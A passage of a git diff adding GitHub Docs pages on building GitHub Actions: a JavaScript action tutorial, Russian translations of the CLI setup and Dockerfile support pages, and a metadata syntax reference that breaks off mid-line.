+1. From your terminal, change directories into your new repository. + + ```shell{:copy} + cd hello-world-javascript-action + ``` + +1. From your terminal, initialize the directory with npm to generate a `package.json` file. + + ```shell{:copy} + npm init -y + ``` + +## Creating an action metadata file + +Create a new file named `action.yml` in the `hello-world-javascript-action` directory with the following example code. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions)." + +```yaml{:copy} +name: 'Hello World' +description: 'Greet someone and record the time' +inputs: + who-to-greet: # id of input + description: 'Who to greet' + required: true + default: 'World' +outputs: + time: # id of output + description: 'The time we greeted you' +runs: + using: {% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}'node16'{% else %}'node12'{% endif %} + main: 'index.js' +``` + +This file defines the `who-to-greet` input and `time` output. It also tells the action runner how to start running this JavaScript action. + +## Adding actions toolkit packages + +The actions toolkit is a collection of Node.js packages that allow you to quickly build JavaScript actions with more consistency. + +The toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package provides an interface to the workflow commands, input and output variables, exit statuses, and debug messages. + +The toolkit also offers a [`@actions/github`](https://github.com/actions/toolkit/tree/main/packages/github) package that returns an authenticated Octokit REST client and access to GitHub Actions contexts. + +The toolkit offers more than the `core` and `github` packages. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository. + +At your terminal, install the actions toolkit `core` and `github` packages. + +```shell{:copy} +npm install @actions/core +npm install @actions/github +``` + +Now you should see a `node_modules` directory with the modules you just installed and a `package-lock.json` file with the installed module dependencies and the versions of each installed module. + +## Writing the action code + +This action uses the toolkit to get the `who-to-greet` input variable required in the action's metadata file and prints "Hello [who-to-greet]" in a debug message in the log. Next, the script gets the current time and sets it as an output variable that actions running later in a job can use. + +GitHub Actions provide context information about the webhook event, Git refs, workflow, action, and the person who triggered the workflow. To access the context information, you can use the `github` package. The action you'll write will print the webhook event payload to the log. + +Add a new file called `index.js`, with the following code. + +{% raw %} +```javascript{:copy} +const core = require('@actions/core'); +const github = require('@actions/github'); + +try { + // `who-to-greet` input defined in action metadata file + const nameToGreet = core.getInput('who-to-greet'); + console.log(`Hello ${nameToGreet}!`); + const time = (new Date()).toTimeString(); + core.setOutput("time", time); + // Get the JSON webhook payload for the event that triggered the workflow + const payload = JSON.stringify(github.context.payload, undefined, 2) + console.log(`The event payload: ${payload}`); +} catch (error) { + core.setFailed(error.message); +} +``` +{% endraw %} + +If an error is thrown in the above `index.js` example, `core.setFailed(error.message);` uses the actions toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package to log a message and set a failing exit code. For more information, see "[Setting exit codes for actions](/actions/creating-actions/setting-exit-codes-for-actions)." + +## Creating a README + +To let people know how to use your action, you can create a README file. A README is most helpful when you plan to share your action publicly, but is also a great way to remind you or your team how to use the action. + +In your `hello-world-javascript-action` directory, create a `README.md` file that specifies the following information: + +- A detailed description of what the action does. +- Required input and output arguments. +- Optional input and output arguments. +- Secrets the action uses. +- Environment variables the action uses. +- An example of how to use your action in a workflow. + +````markdown{:copy} +# Hello world javascript action + +This action prints "Hello World" or "Hello" + the name of a person to greet to the log. + +## Inputs + +### `who-to-greet` + +**Required** The name of the person to greet. Default `"World"`. + +## Outputs + +### `time` + +The time we greeted you. + +## Example usage + +```yaml +uses: actions/hello-world-javascript-action@v1.1 +with: + who-to-greet: 'Mona the Octocat' +``` +```` + +## Commit, tag, and push your action to GitHub + +{% data variables.product.product_name %} downloads each action run in a workflow during runtime and executes it as a complete package of code before you can use workflow commands like `run` to interact with the runner machine. This means you must include any package dependencies required to run the JavaScript code. You'll need to check in the toolkit `core` and `github` packages to your action's repository. + +From your terminal, commit your `action.yml`, `index.js`, `node_modules`, `package.json`, `package-lock.json`, and `README.md` files. If you added a `.gitignore` file that lists `node_modules`, you'll need to remove that line to commit the `node_modules` directory. + +It's best practice to also add a version tag for releases of your action. For more information on versioning your action, see "[About actions](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)." + +```shell{:copy} +git add action.yml index.js node_modules/* package.json package-lock.json README.md +git commit -m "My first action is ready" +git tag -a -m "My first action release" v1.1 +git push --follow-tags +``` + +Checking in your `node_modules` directory can cause problems. As an alternative, you can use a tool called [`@vercel/ncc`](https://github.com/vercel/ncc) to compile your code and modules into one file used for distribution. + +1. Install `vercel/ncc` by running this command in your terminal. + `npm i -g @vercel/ncc` + +1. Compile your `index.js` file. + `ncc build index.js --license licenses.txt` + + You'll see a new `dist/index.js` file with your code and the compiled modules. + You will also see an accompanying `dist/licenses.txt` file containing all the licenses of the `node_modules` you are using. + +1. Change the `main` keyword in your `action.yml` file to use the new `dist/index.js` file. + `main: 'dist/index.js'` + +1. If you already checked in your `node_modules` directory, remove it. + `rm -rf node_modules/*` + +1. From your terminal, commit the updates to your `action.yml`, `dist/index.js`, and `node_modules` files. +```shell{:copy} +git add action.yml dist/index.js node_modules/* +git commit -m "Use vercel/ncc" +git tag -a -m "My first action release" v1.1 +git push --follow-tags +``` + +## Testing out your action in a workflow + +Now you're ready to test your action out in a workflow. When an action is in a private repository, the action can only be used in workflows in the same repository. Public actions can be used by workflows in any repository. + +{% data reusables.actions.enterprise-marketplace-actions %} + +### Example using a public action + +This example demonstrates how your new public action can be run from within an external repository. + +Copy the following YAML into a new file at `.github/workflows/main.yml`, and update the `uses: octocat/hello-world-javascript-action@v1.1` line with your username and the name of the public repository you created above. You can also replace the `who-to-greet` input with your name. + +{% raw %} +```yaml{:copy} +on: [push] + +jobs: + hello_world_job: + runs-on: ubuntu-latest + name: A job to say hello + steps: + - name: Hello world action step + id: hello + uses: octocat/hello-world-javascript-action@v1.1 + with: + who-to-greet: 'Mona the Octocat' + # Use the output from the `hello` step + - name: Get the output time + run: echo "The time was ${{ steps.hello.outputs.time }}" +``` +{% endraw %} + +When this workflow is triggered, the runner will download the `hello-world-javascript-action` action from your public repository and then execute it. + +### Example using a private action + +Copy the workflow code into a `.github/workflows/main.yml` file in your action's repository. You can also replace the `who-to-greet` input with your name. + +**.github/workflows/main.yml** +```yaml{:copy} +on: [push] + +jobs: + hello_world_job: + runs-on: ubuntu-latest + name: A job to say hello + steps: + # To use this repository's private action, + # you must check out the repository + - name: Checkout + uses: {% data reusables.actions.action-checkout %} + - name: Hello world action step + uses: ./ # Uses an action in the root directory + id: hello + with: + who-to-greet: 'Mona the Octocat' + # Use the output from the `hello` step + - name: Get the output time + run: echo "The time was {% raw %}${{ steps.hello.outputs.time }}{% endraw %}" +``` + +From your repository, click the **Actions** tab, and select the latest workflow run. Under **Jobs** or in the visualization graph, click **A job to say hello**. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. + +![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run-updated-2.png) diff --git a/translations/ru-RU/content/actions/creating-actions/developing-a-third-party-cli-action.md b/translations/ru-RU/content/actions/creating-actions/developing-a-third-party-cli-action.md new file mode 100644 index 000000000000..88c3d0b4eae5 --- /dev/null +++ b/translations/ru-RU/content/actions/creating-actions/developing-a-third-party-cli-action.md @@ -0,0 +1,77 @@ +--- +title: Разработка стороннего действия CLI +shortTitle: CLI setup action +intro: 'Узнайте, как разработать действие для настройки интерфейса командной строки в средствах выполнения тестов {% data variables.product.prodname_actions %}.' +redirect_from: [] +versions: + fpt: '*' + ghec: '*' +type: tutorial +topics: + - Actions +ms.openlocfilehash: c839faa63efd0f8b7f5ab78a81107d27ab93e1c4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145092538' +--- +## Введение + +Вы можете написать действие, чтобы предоставить пользователям возможность доступа к вашим серверам через настроенную среду CLI в средствах выполнения {% data variables.product.prodname_actions %}. + +Действие должно отвечать следующим требованиям: + +- позволять пользователям легко указывать версию интерфейса CLI для установки; +- поддерживать несколько операционных систем; +- эффективно выполняться для сведения к минимуму затрат времени и ресурсов; +- работать в размещенных в {% data variables.product.product_name %} и локальных средствах выполнения; +- по возможности использовать инструменты сообщества. + +В этой статье показано, как написать действие, которое получает определенную версию интерфейса CLI, устанавливает ее, добавляет ее по определенному пути и (необязательно) кэширует ее. Действия такого типа (которые устанавливают средство) часто называются `setup-$TOOL`. + +## Предварительные требования + +У вас должно быть представление о написании пользовательских действий. Дополнительные сведения см. в разделе [Сведения о настраиваемых действиях](/actions/creating-actions/about-custom-actions). Более подробное руководство по написанию пользовательского действия см. в разделе [Создание действия JavaScript](/actions/creating-actions/creating-a-javascript-action). + +## Пример + +В приведенном ниже скрипте показано, как получить указанную пользователем версию в качестве входных данных, скачать и извлечь эту версию интерфейса CLI, а затем добавить ее по пути. + +{% data variables.product.prodname_dotcom %} предоставляет [`actions/toolkit`](https://github.com/actions/toolkit), набор пакетов, помогающих создавать действия. В этом примере используются пакеты [`actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) и [`actions/tool-cache`](https://github.com/actions/toolkit/tree/main/packages/tool-cache). + +{% raw %} +```javascript{:copy} +const core = require('@actions/core'); +const tc = require('@actions/tool-cache'); + +async function setup() { + // Get version of tool to be installed + const version = core.getInput('version'); + + // Download the specific version of the tool, e.g. as a tarball + const pathToTarball = await tc.downloadTool(getDownloadURL()); + + // Extract the tarball onto the runner + const pathToCLI = await tc.extractTar(pathToTarball); + + // Expose the tool by adding it to the PATH + core.addPath(pathToCLI) +} + +module.exports = setup +``` +{% endraw %} + +Чтобы использовать этот скрипт, замените `getDownloadURL` на функцию, которая скачивает интерфейс CLI. Вам также потребуется создать файл метаданных действия (`action.yml`), который принимает входной аргумент `version` и запускает скрипт. Полные сведения о создании действия см. в разделе [Создание действия JavaScript](/actions/creating-actions/creating-a-javascript-action). + +Полный пример настройки этого действия см. в [example-setup-gh](https://github.com/github-developer/example-setup-gh). + +## Дополнительные материалы + +Этот шаблон применяется в нескольких действиях. Дополнительные примеры: + +* [`ruby/setup-ruby`](https://github.com/ruby/setup-ruby) +* [`google-github-actions/setup-gcloud`](https://github.com/google-github-actions/setup-gcloud) +* [`hashicorp/setup-terraform`](https://github.com/hashicorp/setup-terraform) + diff --git a/translations/ru-RU/content/actions/creating-actions/dockerfile-support-for-github-actions.md b/translations/ru-RU/content/actions/creating-actions/dockerfile-support-for-github-actions.md new file mode 100644 index 000000000000..3741935a7e4e --- /dev/null +++ b/translations/ru-RU/content/actions/creating-actions/dockerfile-support-for-github-actions.md @@ -0,0 +1,116 @@ +--- +title: Поддержка Dockerfile для GitHub Actions +shortTitle: Dockerfile support +intro: 'При создании `Dockerfile` для действия контейнера Docker следует знать, как отдельные инструкции Docker взаимодействуют с GitHub Actions и файлом метаданных действия.' +redirect_from: + - /actions/building-actions/dockerfile-support-for-github-actions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: reference +ms.openlocfilehash: 6e061e479f4988398cbdc92114e387a3055734af +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145088645' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Инструкции по Dockerfile + +`Dockerfile` содержит инструкции и аргументы, определяющие содержимое и реакцию на событие запуска контейнера Docker. Дополнительные сведения об инструкциях, поддерживаемых Docker, см. в статье [Справочник по Dockerfile](https://docs.docker.com/engine/reference/builder/) в документации по Docker. + +## Инструкции и переопределения Dockerfile + +Некоторые инструкции Docker взаимодействуют с GitHub Actions, а файл метаданных действия может переопределять некоторые инструкции Docker. Обязательно изучите то, как Dockerfile взаимодействует с {% data variables.product.prodname_actions %}, чтобы предотвратить непредвиденную реакцию на событие. + +### Пользователь + +Действия Docker должен выполнять пользователь Docker по умолчанию (корневой). Не используйте инструкцию `USER` в `Dockerfile`, поскольку вы не сможете получить доступ к `GITHUB_WORKSPACE`. Дополнительные сведения см. в статье [Использование переменных среды](/actions/configuring-and-managing-workflows/using-environment-variables) и в [справочнике USER](https://docs.docker.com/engine/reference/builder/#user) в документации по Docker. + +### FROM + +Первой инструкцией в `Dockerfile` должна быть `FROM`, выбирающая базовый образ Docker. Дополнительные сведения см. в [справочнике FROM](https://docs.docker.com/engine/reference/builder/#from) в документации по Docker. + +Далее приведены некоторые рекомендации по настройке аргумента `FROM`: + +- Рекомендуется использовать официальные образы Docker. Например, `python` или `ruby`. +- Используйте тег версии (если он существует), предпочтительно с основным номером версии. Например, используйте `node:10` вместо `node:latest`. +- Рекомендуется использовать образы Docker, основанные на операционной системе [Debian](https://www.debian.org/). + +### WORKDIR + +{% data variables.product.product_name %} задает путь к рабочей папке в переменной среды `GITHUB_WORKSPACE`. Инструкцию `WORKDIR` не рекомендуется использовать в `Dockerfile`. Перед выполнением действия {% data variables.product.product_name %} подключит каталог `GITHUB_WORKSPACE` поверх всего, что находилось в этом расположении в образе Docker и задаст `GITHUB_WORKSPACE` в качестве рабочей папки. Дополнительные сведения см. в статье [Использование переменных среды](/actions/configuring-and-managing-workflows/using-environment-variables) и в [справочнике WORKDIR](https://docs.docker.com/engine/reference/builder/#workdir) в документации по Docker. + +### ENTRYPOINT + +Если вы укажите `entrypoint` в файле метаданных действия, он переопределит `ENTRYPOINT`, указанный в файле `Dockerfile`. Дополнительные сведения см. в разделе [Синтаксис метаданных для {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions/#runsentrypoint). + +Инструкция Docker `ENTRYPOINT` имеет форму _оболочки_ и форму _exec_. В документации по `ENTRYPOINT` Docker рекомендуется использовать форму _exec_ инструкции `ENTRYPOINT`. Дополнительные сведения о форме _exec_ и форме _оболочки_ см. в [справочнике ENTRYPOINT](https://docs.docker.com/engine/reference/builder/#entrypoint) в документации по Docker. + +Не следует применять `WORKDIR` для указания точки входа в Dockerfile. Вместо этого воспользуйтесь абсолютным путем. Дополнительные сведения см. в статье о [WORKDIR](#workdir). + +Если вы настроите контейнер для использования формы _exec_ инструкции `ENTRYPOINT`, `args`, настроенный в файле метаданных действия, не будет выполняться в командной оболочке. Если `args` действия содержит переменную среды, эта переменная не будет заменена. Например, при использовании следующего формата _exec_ вместо значения, хранящегося в `$GITHUB_SHA`, будет напечатано `"$GITHUB_SHA"`. + +```dockerfile +ENTRYPOINT ["echo $GITHUB_SHA"] +``` + + Если вам нужно выполнить подстановку переменной, используйте форму _оболочки_ или выполните оболочку напрямую. Например, используя следующий формат _exec_, можно выполнить оболочку для печати значения, хранящегося в переменной среды `GITHUB_SHA`. + +```dockerfile +ENTRYPOINT ["sh", "-c", "echo $GITHUB_SHA"] +``` + + Чтобы предоставить `args`, определенный в файле метаданных действия, контейнеру Docker, который использует форму _exec_ в `ENTRYPOINT`, рекомендуется создать сценарий оболочки под именем `entrypoint.sh`, вызываемый из инструкции `ENTRYPOINT`: + +#### Пример *Dockerfile* + +```dockerfile +# Container image that runs your code +FROM debian:9.5-slim + +# Copies your code file from your action repository to the filesystem path `/` of the container +COPY entrypoint.sh /entrypoint.sh + +# Executes `entrypoint.sh` when the Docker container starts up +ENTRYPOINT ["/entrypoint.sh"] +``` + +#### Пример файла *entrypoint.sh* + +Используя приведенный выше пример Dockerfile, {% data variables.product.product_name %} отправит `args`, настроенный в файле метаданных действия в качестве аргументов, в `entrypoint.sh`. Добавьте `#!/bin/sh` [shebang](https://en.wikipedia.org/wiki/Shebang_(Unix)) в начало файла `entrypoint.sh`, чтобы явно использовать оболочку, соответствующую [POSIX](https://en.wikipedia.org/wiki/POSIX). + +``` sh +#!/bin/sh + +# `$*` expands the `args` supplied in an `array` individually +# or splits `args` in a string separated by whitespace. +sh -c "echo $*" +``` + +Ваш код должен быть исполняемым. Прежде чем использовать файл `entrypoint.sh` в рабочем процессе, убедитесь, что он имеет разрешения `execute`. Вы можете изменить разрешение в терминале с помощью следующей команды: + ``` sh + chmod +x entrypoint.sh + ``` + +Если сценарий оболочки `ENTRYPOINT` не является исполняемым, вы получите следующую ошибку: + +``` sh +Error response from daemon: OCI runtime create failed: container_linux.go:348: starting container process caused "exec: \"/entrypoint.sh\": permission denied": unknown +``` + +### CMD + +Если вы определите `args` в файле метаданных действия, `args` переопределит инструкцию `CMD`, указанную в `Dockerfile`. Дополнительные сведения см. в статье [Синтаксис метаданных для {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#runsargs). + +При использовании `CMD` в своем `Dockerfile` следуйте приведенным ниже рекомендациям: + +{% data reusables.actions.dockerfile-guidelines %} + +## Поддерживаемые возможности Linux + +{% data variables.product.prodname_actions %} поддерживает возможности Linux по умолчанию, которые поддерживает Docker. Возможности нельзя добавлять или удалять. Дополнительные сведения о возможностях Linux по умолчанию, которые поддерживает Docker, см. в статье [Привилегии среды выполнения и возможности Linux](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) в документации по Docker. Дополнительные сведения о возможностях Linux см. в статье [Общие сведения о возможностях Linux](http://man7.org/linux/man-pages/man7/capabilities.7.html) на страницах руководства Linux. diff --git a/translations/ru-RU/content/actions/creating-actions/index.md b/translations/ru-RU/content/actions/creating-actions/index.md new file mode 100644 index 000000000000..25e52d493571 --- /dev/null +++ b/translations/ru-RU/content/actions/creating-actions/index.md @@ -0,0 +1,34 @@ +--- +title: Создание действий +intro: 'Вы можете создавать собственные действия, использовать и настраивать действия, которые предоставляются сообществом {% data variables.product.prodname_dotcom %} или записывать созданные действия и делиться ими.' +redirect_from: + - /articles/building-actions + - /github/automating-your-workflow-with-github-actions/building-actions + - /actions/automating-your-workflow-with-github-actions/building-actions + - /actions/building-actions + - /articles/creating-a-github-action +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /about-custom-actions + - /creating-a-docker-container-action + - /creating-a-javascript-action + - /creating-a-composite-action + - /metadata-syntax-for-github-actions + - /dockerfile-support-for-github-actions + - /setting-exit-codes-for-actions + - /publishing-actions-in-github-marketplace + - /sharing-actions-and-workflows-with-your-enterprise + - /releasing-and-maintaining-actions + - /developing-a-third-party-cli-action +ms.openlocfilehash: b60bd1031bc7e9958a146cbf9755a000679edff3 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147880624' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} diff --git a/translations/ru-RU/content/actions/creating-actions/metadata-syntax-for-github-actions.md b/translations/ru-RU/content/actions/creating-actions/metadata-syntax-for-github-actions.md new file mode 100644 index 000000000000..6fd1dab0b30f --- /dev/null +++ b/translations/ru-RU/content/actions/creating-actions/metadata-syntax-for-github-actions.md @@ -0,0 +1,905 @@ +--- +title: Metadata syntax for GitHub Actions +shortTitle: Metadata syntax +intro: You can create actions to perform tasks in your repository. Actions require a metadata file that uses YAML syntax. +redirect_from: + - /articles/metadata-syntax-for-github-actions + - /github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions + - /actions/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions + - /actions/building-actions/metadata-syntax-for-github-actions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: reference +miniTocMaxHeadingLevel: 4 +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About YAML syntax for {% data variables.product.prodname_actions %} + +All actions require a metadata file. The metadata filename must be either `action.yml` or `action.yaml`. The data in the metadata file defines the inputs, outputs, and runs configuration for your action. + +Action metadata files use YAML syntax. If you're new to YAML, you can read "[Learn YAML in five minutes](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes)." + +## `name` + +**Required** The name of your action. {% data variables.product.prodname_dotcom %} displays the `name` in the **Actions** tab to help visually identify actions in each job. + +## `author` + +**Optional** The name of the action's author. + +## `description` + +**Required** A short description of the action. + +## `inputs` + +**Optional** Input parameters allow you to specify data that the action expects to use during runtime. {% data variables.product.prodname_dotcom %} stores input parameters as environment variables. Input ids with uppercase letters are converted to lowercase during runtime. We recommended using lowercase input ids. + +### Example: Specifying inputs + +This example configures two inputs: numOctocats and octocatEyeColor. The numOctocats input is not required and will default to a value of '1'. The octocatEyeColor input is required and has no default value. Workflow files that use this action must use the `with` keyword to set an input value for octocatEyeColor. For more information about the `with` syntax, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepswith)." + +```yaml +inputs: + numOctocats: + description: 'Number of Octocats' + required: false + default: '1' + octocatEyeColor: + description: 'Eye color of the Octocats' + required: true +``` + +When you specify an input in a workflow file or use a default input value, {% data variables.product.prodname_dotcom %} creates an environment variable for the input with the name `INPUT_`. The environment variable created converts input names to uppercase letters and replaces spaces with `_` characters. + +If the action is written using a [composite](/actions/creating-actions/creating-a-composite-action), then it will not automatically get `INPUT_`. If the conversion doesn't occur, you can change these inputs manually. + +To access the environment variable in a Docker container action, you must pass the input using the `args` keyword in the action metadata file. For more information about the action metadata file for Docker container actions, see "[Creating a Docker container action](/articles/creating-a-docker-container-action#creating-an-action-metadata-file)." + +For example, if a workflow defined the `numOctocats` and `octocatEyeColor` inputs, the action code could read the values of the inputs using the `INPUT_NUMOCTOCATS` and `INPUT_OCTOCATEYECOLOR` environment variables. + +### `inputs.` + +**Required** A `string` identifier to associate with the input. The value of `` is a map of the input's metadata. The `` must be a unique identifier within the `inputs` object. The `` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`. + +### `inputs..description` + +**Required** A `string` description of the input parameter. + +### `inputs..required` + +**Optional** A `boolean` to indicate whether the action requires the input parameter. Set to `true` when the parameter is required. + +### `inputs..default` + +**Optional** A `string` representing the default value. The default value is used when an input parameter isn't specified in a workflow file. + +### `inputs..deprecationMessage` + +**Optional** If the input parameter is used, this `string` is logged as a warning message. You can use this warning to notify users that the input is deprecated and mention any alternatives. + +## `outputs` for Docker container and JavaScript actions + +**Optional** Output parameters allow you to declare data that an action sets. Actions that run later in a workflow can use the output data set in previously run actions. For example, if you had an action that performed the addition of two inputs (x + y = z), the action could output the sum (z) for other actions to use as an input. + +{% data reusables.actions.output-limitations %} + +If you don't declare an output in your action metadata file, you can still set outputs and use them in a workflow. For more information on setting outputs in an action, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions/#setting-an-output-parameter)." + +### Example: Declaring outputs for Docker container and JavaScript actions + +```yaml +outputs: + sum: # id of the output + description: 'The sum of the inputs' +``` + +### `outputs.` + +**Required** A `string` identifier to associate with the output. The value of `` is a map of the output's metadata. The `` must be a unique identifier within the `outputs` object. The `` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`. + +### `outputs..description` + +**Required** A `string` description of the output parameter. + +## `outputs` for composite actions + +**Optional** `outputs` use the same parameters as `outputs.` and `outputs..description` (see "[`outputs` for Docker container and JavaScript actions](#outputs-for-docker-container-and-javascript-actions)"), but also includes the `value` token. + +{% data reusables.actions.output-limitations %} + +### Example: Declaring outputs for composite actions + +{% raw %} +```yaml +outputs: + random-number: + description: "Random number" + value: ${{ steps.random-number-generator.outputs.random-id }} +runs: + using: "composite" + steps: + - id: random-number-generator{% endraw %} +{%- ifversion actions-save-state-set-output-envs %} + run: echo "random-id=$(echo $RANDOM)" >> $GITHUB_OUTPUT +{%- else %} + run: echo "::set-output name=random-id::$(echo $RANDOM)" +{%- endif %}{% raw %} + shell: bash +``` +{% endraw %} + +### `outputs..value` + +**Required** The value that the output parameter will be mapped to. You can set this to a `string` or an expression with context. For example, you can use the `steps` context to set the `value` of an output to the output value of a step. + +For more information on how to use context syntax, see "[Contexts](/actions/learn-github-actions/contexts)." + +## `runs` + +**Required** Specifies whether this is a JavaScript action, a composite action, or a Docker container action and how the action is executed. + +## `runs` for JavaScript actions + +**Required** Configures the path to the action's code and the runtime used to execute the code. + +### Example: Using Node.js {% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}v16{% else %}v12{% endif %} + +```yaml +runs: + using: {% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}'node16'{% else %}'node12'{% endif %} + main: 'main.js' +``` + +### `runs.using` + +**Required** The runtime used to execute the code specified in [`main`](#runsmain). + +- Use `node12` for Node.js v12.{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} +- Use `node16` for Node.js v16.{% endif %} + +### `runs.main` + +**Required** The file that contains your action code. The runtime specified in [`using`](#runsusing) executes this file. + +### `runs.pre` + +**Optional** Allows you to run a script at the start of a job, before the `main:` action begins. For example, you can use `pre:` to run a prerequisite setup script. The runtime specified with the [`using`](#runsusing) syntax will execute this file. The `pre:` action always runs by default but you can override this using [`runs.pre-if`](#runspre-if). + +In this example, the `pre:` action runs a script called `setup.js`: + +```yaml +runs: + using: {% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}'node16'{% else %}'node12'{% endif %} + pre: 'setup.js' + main: 'index.js' + post: 'cleanup.js' +``` + +### `runs.pre-if` + +**Optional** Allows you to define conditions for the `pre:` action execution. The `pre:` action will only run if the conditions in `pre-if` are met. If not set, then `pre-if` defaults to `always()`. In `pre-if`, status check functions evaluate against the job's status, not the action's own status. + +Note that the `step` context is unavailable, as no steps have run yet. + +In this example, `cleanup.js` only runs on Linux-based runners: + +```yaml + pre: 'cleanup.js' + pre-if: runner.os == 'linux' +``` + +### `runs.post` + +**Optional** Allows you to run a script at the end of a job, once the `main:` action has completed. For example, you can use `post:` to terminate certain processes or remove unneeded files. The runtime specified with the [`using`](#runsusing) syntax will execute this file. + +In this example, the `post:` action runs a script called `cleanup.js`: + +```yaml +runs: + using: {% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}'node16'{% else %}'node12'{% endif %} + main: 'index.js' + post: 'cleanup.js' +``` + +The `post:` action always runs by default but you can override this using `post-if`. + +### `runs.post-if` + +**Optional** Allows you to define conditions for the `post:` action execution. The `post:` action will only run if the conditions in `post-if` are met. If not set, then `post-if` defaults to `always()`. In `post-if`, status check functions evaluate against the job's status, not the action's own status. + +For example, this `cleanup.js` will only run on Linux-based runners: + +```yaml + post: 'cleanup.js' + post-if: runner.os == 'linux' +``` + +## `runs` for composite actions + +**Required** Configures the path to the composite action. + +### `runs.using` + +**Required** You must set this value to `'composite'`. + +### `runs.steps` + +**Required** The steps that you plan to run in this action. These can be either `run` steps or `uses` steps. + +#### `runs.steps[*].run` + +**Optional** The command you want to run. This can be inline or a script in your action repository: + +{% raw %} +```yaml +runs: + using: "composite" + steps: + - run: ${{ github.action_path }}/test/script.sh + shell: bash +``` +{% endraw %} + +Alternatively, you can use `$GITHUB_ACTION_PATH`: + +```yaml +runs: + using: "composite" + steps: + - run: $GITHUB_ACTION_PATH/script.sh + shell: bash +``` + +For more information, see "[`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)". + +#### `runs.steps[*].shell` + +**Optional** The shell where you want to run the command. You can use any of the shells listed [here](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsshell). Required if `run` is set. + +{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} +#### `runs.steps[*].if` + +**Optional** You can use the `if` conditional to prevent a step from running unless a condition is met. You can use any supported context and expression to create a conditional. + +{% data reusables.actions.expression-syntax-if %} For more information, see "[Expressions](/actions/learn-github-actions/expressions)." + +**Example: Using contexts** + + This step only runs when the event type is a `pull_request` and the event action is `unassigned`. + + ```yaml +steps: + - run: echo This event is a pull request that had an assignee removed. + if: {% raw %}${{ github.event_name == 'pull_request' && github.event.action == 'unassigned' }}{% endraw %} +``` + +**Example: Using status check functions** + +The `my backup step` only runs when the previous step of a composite action fails. For more information, see "[Expressions](/actions/learn-github-actions/expressions#status-check-functions)." + +```yaml +steps: + - name: My first step + uses: octo-org/action-name@main + - name: My backup step + if: {% raw %}${{ failure() }}{% endraw %} + uses: actions/heroku@1.0.0 +``` +{% endif %} + +#### `runs.steps[*].name` + +**Optional** The name of the composite step. + +#### `runs.steps[*].id` + +**Optional** A unique identifier for the step. You can use the `id` to reference the step in contexts. For more information, see "[Contexts](/actions/learn-github-actions/contexts)." + +#### `runs.steps[*].env` + +**Optional** Sets a `map` of environment variables for only that step. If you want to modify the environment variable stored in the workflow, use `echo "{name}={value}" >> $GITHUB_ENV` in a composite step. + +#### `runs.steps[*].working-directory` + +**Optional** Specifies the working directory where the command is run. + +#### `runs.steps[*].uses` + +**Optional** Selects an action to run as part of a step in your job. An action is a reusable unit of code. You can use an action defined in the same repository as the workflow, a public repository, or in a [published Docker container image](https://hub.docker.com/). + +We strongly recommend that you include the version of the action you are using by specifying a Git ref, SHA, or Docker tag number. If you don't specify a version, it could break your workflows or cause unexpected behavior when the action owner publishes an update. +- Using the commit SHA of a released action version is the safest for stability and security. +- Using the specific major action version allows you to receive critical fixes and security patches while still maintaining compatibility. It also assures that your workflow should still work. +- Using the default branch of an action may be convenient, but if someone releases a new major version with a breaking change, your workflow could break. + +Some actions require inputs that you must set using the [`with`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepswith) keyword. Review the action's README file to determine the inputs required. + +```yaml +runs: + using: "composite" + steps: + # Reference a specific commit + - uses: actions/checkout@a81bbbf8298c0fa03ea29cdc473d45769f953675 + # Reference the major version of a release + - uses: {% data reusables.actions.action-checkout %} + # Reference a specific version + - uses: {% data reusables.actions.action-checkout %}.2.0 + # Reference a branch + - uses: actions/checkout@main + # References a subdirectory in a public GitHub repository at a specific branch, ref, or SHA + - uses: actions/aws/ec2@main + # References a local action + - uses: ./.github/actions/my-action + # References a docker public registry action + - uses: 